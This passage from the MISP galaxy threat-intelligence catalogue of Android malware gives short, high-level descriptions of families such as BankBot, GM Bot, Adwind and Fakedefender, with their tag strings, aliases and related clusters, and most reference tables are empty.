The tag is: `misp-galaxy:android="BankBot"`

View relationships graph

BankBot has relationships with:

- similar: `misp-galaxy:malpedia="Anubis (Android)"` with estimative-language:likelihood-probability="likely"
Viking Horde

In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.

The tag is: `misp-galaxy:android="Viking Horde"`

HummingBad

A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.

The tag is: `misp-galaxy:android="HummingBad"`

Ackposts

Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.

The tag is: `misp-galaxy:android="Ackposts"`
Wirex

Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.

The tag is: misp-galaxy:android="Wirex"

WannaLocker

WannaLocker is a strain of ransomware for Android devices that encrypts files on the device's external storage and demands a payment to decrypt them.

The tag is: misp-galaxy:android="WannaLocker"

Switcher

Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Swticher attempts to infiltrate a router’s admin interface on the devices' WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.

The tag is: misp-galaxy:android="Switcher"

View relationships graph

Switcher has relationships with:

- similar: misp-galaxy:malpedia="Switcher" with estimative-language:likelihood-probability="likely"
Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user's phone for the Viber app, and then steal photos and videos recorded or sent through the app.

The tag is: *misp-galaxy:android="Vibleaker"

<table>
<thead>
<tr>
<th>Table 58. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

ExpensiveWall is Android malware that sends fraudulent premium SMS messages and charges users accounts for fake services without their knowledge.

The tag is: *misp-galaxy:android="ExpensiveWall"

<table>
<thead>
<tr>
<th>Table 59. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Cepsohord is a Trojan horse for Android devices that uses compromised devices to commit click fraud, modify DNS settings, randomly delete essential files, and download additional malware such as ransomware.

The tag is: *misp-galaxy:android="Cepsohord"

<table>
<thead>
<tr>
<th>Table 60. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>
Fakem Rat

Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).

The tag is: misp-galaxy:android="Fakem Rat"

Table 61. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

GM Bot

GM Bot – also known as Acecard, SlemBunk, or Bankosy – scams people into giving up their banking log-in credentials and other personal data by displaying overlays that look nearly identical to banking apps log-in pages. Subsequently, the malware intercepts SMS to obtain two-factor authentication PINs, giving cybercriminals full access to bank accounts.

The tag is: misp-galaxy:android="GM Bot"

GM Bot is also known as:

- Acecard
- SlemBunk
- Bankosy

View relationships graph

GM Bot has relationships with:

- similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 62. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Moplus

The Wormhole vulnerability in the Moplus SDK could be exploited by hackers to open an unsecured and unauthenticated HTTP server connection on the user's device, and this connection is established in the background without the user's knowledge.

The tag is: `misp-galaxy:android="Moplus"`

Table 63. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html">http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html</a></td>
</tr>
</tbody>
</table>

Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. According to the author, the backdoor component can run on Windows, Mac OS, Linux and Android platforms providing rich capabilities for remote control, data gathering, data exfiltration and lateral movement.

The tag is: `misp-galaxy:android="Adwind"`

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- Jsocket
- jRat
- Backdoor:Java/Adwind

View relationships graph

Adwind has relationships with:

- similar: `misp-galaxy:rat="Adwind RAT"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:tool="Adwind"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:android="Sockrat"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="AdWind"` with `estimative-language:likelihood-probability="likely"`

Table 64. Table References
AdSms

Adsms is a Trojan horse that may send SMS messages from Android devices.

The tag is: misp-galaxy:android="AdSms"

Airpush

Airpush is a very aggressive Ad - Network

The tag is: misp-galaxy:android="Airpush"

Airpush is also known as:

- StopSMS

BeanBot

BeanBot forwards device’s data to a remote server and sends out premium-rate SMS messages from the infected device.

The tag is: misp-galaxy:android="BeanBot"

Kemoge

Kemoge is adware that disguises itself as popular apps via repackaging, then allows for a complete takeover of the users Android device.
The tag is: **misp-galaxy:android="Kemoge"**

**View relationships graph**

Kemoge has relationships with:

- similar: *misp-galaxy:mitre-malware="ShiftyBug - S0294"* with *estimative-language:likelihood-probability="likely"*

**Table 68. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/10/kemoge_another_mobi.html">https://www.fireeye.com/blog/threat-research/2015/10/kemoge_another_mobi.html</a></td>
</tr>
</tbody>
</table>

**Ghost Push**

Ghost Push is a family of malware that infects the Android OS by automatically gaining root access, downloading malicious software, masquerading as a system app, and then losing root access, which then makes it virtually impossible to remove the infection even by factory reset unless the firmware is reflashed.

The tag is: **misp-galaxy:android="Ghost Push"**

**Table 69. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Ghost_Push">https://en.wikipedia.org/wiki/Ghost_Push</a></td>
</tr>
<tr>
<td><a href="https://blog.avast.com/how-to-protect-your-android-device-from-ghost-push">https://blog.avast.com/how-to-protect-your-android-device-from-ghost-push</a></td>
</tr>
</tbody>
</table>

**BeNews**

The BeNews app is a backdoor app that uses the name of defunct news site BeNews to appear legitimate. After installation it bypasses restrictions and downloads additional threats to the compromised device.

The tag is: **misp-galaxy:android="BeNews"**

**Table 70. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Accstealer**

Accstealer is a Trojan horse for Android devices that steals information from the compromised device.
Table 71. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Acnetdoor**

Acnetdoor is a detection for Trojan horses on the Android platform that open a back door on the compromised device.

The tag is: misp-galaxy:android="Acnetdoor"

Table 72. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Acnetsteal**

Acnetsteal is a detection for Trojan horses on the Android platform that steal information from the compromised device.

The tag is: misp-galaxy:android="Acnetsteal"

Table 73. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Actech**

Actech is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: misp-galaxy:android="Actech"

Table 74. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**AdChina**

AdChina is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AdChina"
Adfonic

Adfonic is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Adfonic"

AdInfo

AdInfo is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AdInfo"

Adknowledge

Adknowledge is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Adknowledge"

AdMarvel

AdMarvel is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AdMarvel"
**AdMob**

AdMob is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="AdMob"`

*Table 80. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Adrd**

Adrd is a Trojan horse that steals information from Android devices.

The tag is: `misp-galaxy:android="Adrd"`

*Table 81. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Aduru**

Aduru is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Aduru"`

*Table 82. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Adwhirl**

Adwhirl is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Adwhirl"`

*Table 83. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Adwlauncher**

Adwlauncher is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Adwlauncher"

Table 84. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Adwo**

Adwo is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Adwo"

Table 85. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Airad**

Airad is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Airad"

Table 86. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Alienspy**

Alienspy is a Trojan horse for Android devices that steals information from the compromised device. It may also download potentially malicious files.

The tag is: misp-galaxy:android="Alienspy"

Table 87. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**AmazonAds**

AmazonAds is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AmazonAds"

Table 88. Table References
Answerbot

Answerbot is a Trojan horse that opens a back door on Android devices.

The tag is: `misp-galaxy:android="Answerbot"`

Table 89. Table References

Antammi

Antammi is a Trojan horse that steals information from Android devices.

The tag is: `misp-galaxy:android="Antammi"`

Table 90. Table References

Apkmore

Apkmore is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Apkmore"`

Table 91. Table References

Aplog

Aplog is a Trojan horse for Android devices that steals information from the device.

The tag is: `misp-galaxy:android="Aplog"`

Table 92. Table References
Appenda

Appenda is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Appenda"

Table 93. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Apperhand

Apperhand is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Apperhand"

Table 94. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Appleservice

Appleservice is a Trojan horse for Android devices that may steal information from the compromised device.

The tag is: misp-galaxy:android="Appleservice"

Table 95. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AppLovin

AppLovin is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AppLovin"

Table 96. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Arspam

Arspam is a Trojan horse for Android devices that sends spam SMS messages to contacts on the
compromised device.

The tag is: \textit{misp-galaxy:android}="Arspam"

Table 97. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Aurecord**

Aurecord is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: \textit{misp-galaxy:android}="Aurecord"

Table 98. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Backapp**

Backapp is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: \textit{misp-galaxy:android}="Backapp"

Table 99. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Backdexer**

Backdexer is a Trojan horse for Android devices that may send premium-rate SMS messages from the compromised device.

The tag is: \textit{misp-galaxy:android}="Backdexer"

Table 100. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Backflash**

Backflash is a Trojan horse for Android devices that opens a back door and steals information from
the compromised device.

The tag is: *misp-galaxy:android*="Backflash"

Table 101. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Backscript**

Backscript is a Trojan horse for Android devices that downloads files onto the compromised device.

The tag is: *misp-galaxy:android*="Backscript"

Table 102. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Badaccents**

Badaccents is a Trojan horse for Android devices that may download apps on the compromised device.

The tag is: *misp-galaxy:android*="Badaccents"

Table 103. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Badpush**

Badpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android*="Badpush"

Table 104. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Ballonpop**

Ballonpop is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android*="Ballonpop"
**Bankosy**

Bankosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Bankosy"`


**Bankun**

Bankun is a Trojan horse for Android devices that replaces certain banking applications on the compromised device.

The tag is: `misp-galaxy:android="Bankun"`

[Table 106. Table References](#)

**Basebridge**

Basebridge is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: `misp-galaxy:android="Basebridge"`

[Table 108. Table References](#)
**Basedao**

Basedao is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Basedao"`

*Table 109. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Batterydoctor**

Batterydoctor is a Trojan that makes exaggerated claims about the device's ability to recharge the battery, as well as steal information.

The tag is: `misp-galaxy:android="Batterydoctor"`

*Table 110. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Beaglespy**

Beaglespy is an Android mobile detection for the Beagle spyware program as well as its associated client application.

The tag is: `misp-galaxy:android="Beaglespy"`

*Table 111. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Becuro**

Becuro is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.

The tag is: `misp-galaxy:android="Becuro"`

*Table 112. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Beita

Beita is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Beita"

Table 113. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Bgserv

Bgserv is a Trojan that opens a back door and transmits information from the device to a remote location.

The tag is: misp-galaxy:android="Bgserv"

Table 114. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Biigespy

Biigespy is an Android mobile detection for the Biige spyware program as well as its associated client application.

The tag is: misp-galaxy:android="Biigespy"

Table 115. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Bmaster

Bmaster is a Trojan horse on the Android platform that opens a back door, downloads files and steals potentially confidential information from the compromised device.

The tag is: misp-galaxy:android="Bmaster"

Table 116. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Bossefiv**

Bossefiv is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android*="Bossefiv"

*Table 117. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Boxpush**

Boxpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android*="Boxpush"

*Table 118. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Burstly**

Burstly is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android*="Burstly"

*Table 119. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Buzzcity**

Buzzcity is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android*="Buzzcity"

*Table 120. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**ByPush**

ByPush is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="ByPush"

Table 121. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Cajino

Cajino is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: misp-galaxy:android="Cajino"

Table 122. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Casee

Casee is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Casee"

Table 123. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Catchtoken

Catchtoken is a Trojan horse for Android devices that intercepts SMS messages and opens a back door on the compromised device.

The tag is: misp-galaxy:android="Catchtoken"

Table 124. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Cauly

Cauly is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Cauly"

Table 125. Table References
Cellshark

Cellshark is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.

The tag is: `misp-galaxy:android="Cellshark"`

Table 126. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Centero

Centero is a Trojan horse for Android devices that displays advertisements on the compromised device.

The tag is: `misp-galaxy:android="Centero"`

Table 127. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Chuli

Chuli is a Trojan horse for Android devices that opens a back door and may steal information from the compromised device.

The tag is: `misp-galaxy:android="Chuli"`

Table 128. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Citmo

Citmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Citmo"`

Table 129. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Claco

Claco is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Claco"`

Table 130. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Clevernet

Clevernet is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Clevernet"`

Table 131. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cnappbox

Cnappbox is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Cnappbox"`

Table 132. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cobblerone

Cobblerone is a spyware application for Android devices that can track the phone's location and remotely erase the device.

The tag is: `misp-galaxy:android="Cobblerone"`

Table 133. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Coolpaperleak

Coolpaperleak is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android*="Coolpaperleak"

Table 134. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Coolreaper

Coolreaper is a Trojan horse for Android devices that opens a back door on the compromised device. It may also steal information and download potentially malicious files.

The tag is: *misp-galaxy:android*="Coolreaper"

Table 135. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cosha

Cosha is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android*="Cosha"

Table 136. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Counterclank

Counterclank is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android*="Counterclank"

Table 137. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Crazymedia**

Crazymedia is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Crazymedia"`

**Table 138. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Crisis**

Crisis is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: `misp-galaxy:android="Crisis"`

View relationships graph

Crisis has relationships with:

- similar: `misp-galaxy:malpedia="RCS"` with `estimative-language:likelihood-probability="likely"`

**Table 139. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Crusewind**

Crusewind is a Trojan horse for Android devices that sends SMS messages to a premium-rate number.

The tag is: `misp-galaxy:android="Crusewind"`

**Table 140. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Dandro**

Dandro is a Trojan horse for Android devices that allows a remote attacker to gain control over the device and steal information from it.

The tag is: `misp-galaxy:android="Dandro"`

**Table 141. Table References**
Daoyoudao

Daoyoudao is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Daoyoudao"`

Table 142. Table References

Deathring

Deathring is a Trojan horse for Android devices that may perform malicious activities on the compromised device.

The tag is: `misp-galaxy:android="Deathring"`

Table 143. Table References

Deeveemap

Deeveemap is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.

The tag is: `misp-galaxy:android="Deeveemap"`

Table 144. Table References

Dendoroid

Dendoroid is a Trojan horse for Android devices that opens a back door, steals information, and may perform other malicious activities on the compromised device.

The tag is: `misp-galaxy:android="Dendoroid"`

Table 145. Table References
Dengaru

Dengaru is a Trojan horse for Android devices that performs click-fraud from the compromised device.

The tag is: `misp-galaxy:android="Dengaru"`

Table 146. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Diandong

Diandong is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Diandong"`

Table 147. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Dianjin

Dianjin is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Dianjin"`

Table 148. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Dogowar

Dogowar is a Trojan horse on the Android platform that sends SMS texts to all contacts on the device. It is a repackaged version of a game application called Dog Wars, which can be downloaded from a third party market and must be manually installed.

The tag is: `misp-galaxy:android="Dogowar"`

Table 149. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
**Domob**

Domob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android*="Domob"

Table 150. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Dougalek**

Dougalek is a Trojan horse for Android devices that steals information from the compromised device. The threat is typically disguised to display a video.

The tag is: *misp-galaxy:android*="Dougalek"

Table 151. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Dowgin**

Dowgin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android*="Dowgin"

Table 152. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Droidsheep**

Droidsheep is a hacktool for Android devices that hijacks social networking accounts on compromised devices.

The tag is: *misp-galaxy:android*="Droidsheep"

Table 153. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Dropdialer**

Dropdialer is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Dropdialer"*

**Table 154. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Dupvert**

Dupvert is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. It may also perform other malicious activities.

The tag is: *misp-galaxy:android="Dupvert"*

**Table 155. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Dynamicit**

Dynamicit is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Dynamicit"*

**Table 156. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Ecardgrabber**

Ecardgrabber is an application that attempts to read details from NFC enabled credit cards. It attempts to read information from NFC enabled credit cards that are in close proximity.

The tag is: *misp-galaxy:android="Ecardgrabber"*

**Table 157. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Ecobatry**

Ecobatry is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: **misp-galaxy:android="Ecobatry"**

**Table 158. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Enesoluty**

Enesoluty is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: **misp-galaxy:android="Enesoluty"**

**Table 159. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Everbadge**

Everbadge is an advertisement library that is bundled with certain Android applications.

The tag is: **misp-galaxy:android="Everbadge"**

**Table 160. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Ewalls**

Ewalls is a Trojan horse for the Android operating system that steals information from the mobile device.

The tag is: **misp-galaxy:android="Ewalls"**

**Table 161. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Exprespam

Exprespam is a Trojan horse for Android devices that displays a fake message and steals personal information stored on the compromised device.

The tag is: `misp-galaxy:android="Exprespam"`

Table 162. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakealbums

Fakealbums is a Trojan horse for Android devices that monitors and forwards received messages from the compromised device.

The tag is: `misp-galaxy:android="Fakealbums"`

Table 163. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakeangry

Fakeangry is a Trojan horse on the Android platform that opens a back door, downloads files, and steals potentially confidential information from the compromised device.

The tag is: `misp-galaxy:android="Fakeangry"`

Table 164. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakeapp

Fakeapp is a Trojan horse for Android devices that downloads configuration files to display advertisements and collects information from the compromised device.

The tag is: `misp-galaxy:android="Fakeapp"`

Table 165. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Fakebanco

Fakebanco is a Trojan horse for Android devices that redirects users to a phishing page in order to steal their information.

The tag is: misp-galaxy:android="Fakebanco"

Table 166. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakebank

Fakebank is a Trojan horse that steals information from the compromised device.

The tag is: misp-galaxy:android="Fakebank"

Table 167. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakebank.B

Fakebank.B is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Fakebank.B"

Table 168. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakebok

Fakebok is a Trojan horse for Android devices that sends SMS messages to premium phone numbers.

The tag is: misp-galaxy:android="Fakebok"

Table 169. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Fakedaum

Fakedaum is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Fakedaum"

Table 170. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakedefender

Fakedefender is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.

The tag is: misp-galaxy:android="Fakedefender"

Table 171. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakedefender.B

Fakedefender.B is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.

The tag is: misp-galaxy:android="Fakedefender.B"

Table 172. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakedown

Fakedown is a Trojan horse for Android devices that downloads more malicious apps onto the compromised device.

The tag is: misp-galaxy:android="Fakedown"

Table 173. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>

57
Fakeflash

Fakeflash is a Trojan horse for Android devices that installs a fake Flash application in order to direct users to a website.

The tag is: `misp-galaxy:android="Fakeflash"`

Table 174. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakegame

Fakegame is a Trojan horse for Android devices that displays advertisements and steals information from the compromised device.

The tag is: `misp-galaxy:android="Fakegame"`

Table 175. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakeguard

Fakeguard is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Fakeguard"`

Table 176. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakejob

Fakejob is a Trojan horse for Android devices that redirects users to scam websites.

The tag is: `misp-galaxy:android="Fakejob"`

Table 177. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Fakekakao

Fakekakao is a Trojan horse for Android devices sends SMS messages to contacts stored on the compromised device.

The tag is: *misp-galaxy:android*="Fakekakao"

Table 178. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakelemon

Fakelemon is a Trojan horse for Android devices that blocks certain SMS messages and may subscribe to services without the user’s consent.

The tag is: *misp-galaxy:android*="Fakelemon"

Table 179. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakelicense

Fakelicense is a Trojan horse that displays advertisements on the compromised device.

The tag is: *misp-galaxy:android*="Fakelicense"

Table 180. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakelogin

Fakelogin is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android*="Fakelogin"

Table 181. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
FakeLookout

FakeLookout is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.

The tag is: misp-galaxy:android="FakeLookout"

